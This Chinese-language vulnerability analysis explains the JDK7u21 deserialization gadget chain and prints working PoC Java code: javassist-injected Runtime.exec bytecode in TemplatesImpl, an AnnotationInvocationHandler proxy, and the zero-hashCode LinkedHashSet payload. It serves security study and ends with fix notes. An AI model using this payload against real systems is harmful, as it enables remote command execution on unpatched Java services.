JDK7u21反序列化漏洞分析
字数 1306 2025-08-18 11:37:23
JDK7u21反序列化漏洞深入分析与利用
漏洞概述
JDK7u21反序列化漏洞是Java核心库中的一个高危漏洞,影响JDK7u21及更早版本。该漏洞允许攻击者通过精心构造的序列化数据在目标系统上执行任意命令,属于反序列化类型的安全漏洞。
前置知识
1. Java动态代码生成
漏洞利用中使用了javassist工具动态生成恶意字节码:
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// 在静态初始化块中插入恶意代码
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\"", "\\\"") + "\");");
clazz.setName("ysoserial.Pwner" + System.nanoTime());
final byte[] classBytes = clazz.toBytecode();
// 注入恶意字节码到TemplatesImpl实例
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Foo.class)});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
关键点:
- 使用
TemplatesImpl类作为恶意代码载体 - 通过
javassist动态修改类字节码 - 在静态初始化块中插入命令执行代码
- 通过反射设置
_bytecodes等关键字段
2. Java动态代理机制
漏洞利用中使用了动态代理来拦截方法调用:
// 创建代理使用的handler
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
.getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler)ctor.newInstance(Templates.class, map);
// 创建代理对象
Templates proxy = (Templates)Proxy.newProxyInstance(
JDK7u21.class.getClassLoader(),
templates.getClass().getInterfaces(),
tempHandler);
关键点:
- 使用
AnnotationInvocationHandler作为调用处理器 - 代理
Templates接口的所有方法 - 方法调用会被路由到
invoke方法
漏洞利用链分析
完整的利用链如下:
LinkedHashSet.readObject()
HashSet.readObject()
HashMap.put()
templates.equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
TemplatesImpl.getOutputProperties()
(恶意字节码执行)
详细触发流程
- 反序列化入口:
LinkedHashSet.readObject()开始反序列化过程 - HashSet处理:调用父类
HashSet.readObject()方法 - HashMap操作:将元素放入HashMap时触发
put()操作 - Hash比较:在
put()方法中会进行hash比较和equals比较 - 代理拦截:equals比较被动态代理拦截,转到
AnnotationInvocationHandler.invoke() - 方法调用:
equalsImpl()方法会反射调用目标对象的所有方法 - 触发执行:当调用到
TemplatesImpl.getOutputProperties()时触发恶意字节码执行
关键绕过技术
1. HashCode绕过
漏洞利用需要满足以下条件才能触发equals调用:
e.hash == hash && ((k = e.key) == key || key.equals(k))
解决方案:
- 使用hashCode为0的特殊字符串"f5a5a608"作为key
- 精心构造
AnnotationInvocationHandler使得proxy.hashCode() == templates.hashCode()
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
2. 动态代理机制利用
通过动态代理将方法调用重定向:
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().equals("equals")) {
return this.equalsImpl(proxy, args[0]);
}
// 其他方法处理...
}
equalsImpl方法会反射调用目标对象的所有方法,从而触发getOutputProperties()的执行。
完整PoC分析
public Object getObject(final String command) throws Exception {
// 1. 生成包含恶意字节码的TemplatesImpl对象
Object templates = Gadgets.createTemplatesImpl(command);
// 2. 准备特殊hashCode的key
String zeroHashCodeStr = "f5a5a608";
// 3. 创建HashMap并放入特殊key
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
// 4. 创建动态代理handler
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
.getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler)ctor.newInstance(Templates.class, map);
// 5. 创建代理对象
Templates proxy = (Templates)Proxy.newProxyInstance(
JDK7u21.class.getClassLoader(),
templates.getClass().getInterfaces(),
tempHandler);
// 6. 清理一些字段避免干扰
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
// 7. 构造最终payload集合
LinkedHashSet set = new LinkedHashSet();
set.add(templates); // 包含恶意字节码的对象
set.add(proxy); // 代理对象
// 8. 关键步骤:修改map中的value为templates对象
map.put(zeroHashCodeStr, templates);
return set;
}
漏洞修复方案
后续Java版本中修复了此漏洞,主要措施包括:
- 修改
AnnotationInvocationHandler的实现,防止被滥用 - 加强序列化过程的安全检查
- 对关键类的字段访问进行限制
学习总结
- 深入理解Java序列化机制:掌握反序列化过程中的关键方法调用链
- 动态代理的应用:了解动态代理在漏洞利用中的关键作用
- 反射的高级用法:学习如何通过反射修改关键字段值
- hashCode机制的绕过:理解如何构造特殊的hashCode条件
- Java安全模型:认识Java安全机制的局限性和绕过方法
参考资源
注:本文仅用于技术研究与学习,请勿用于非法用途。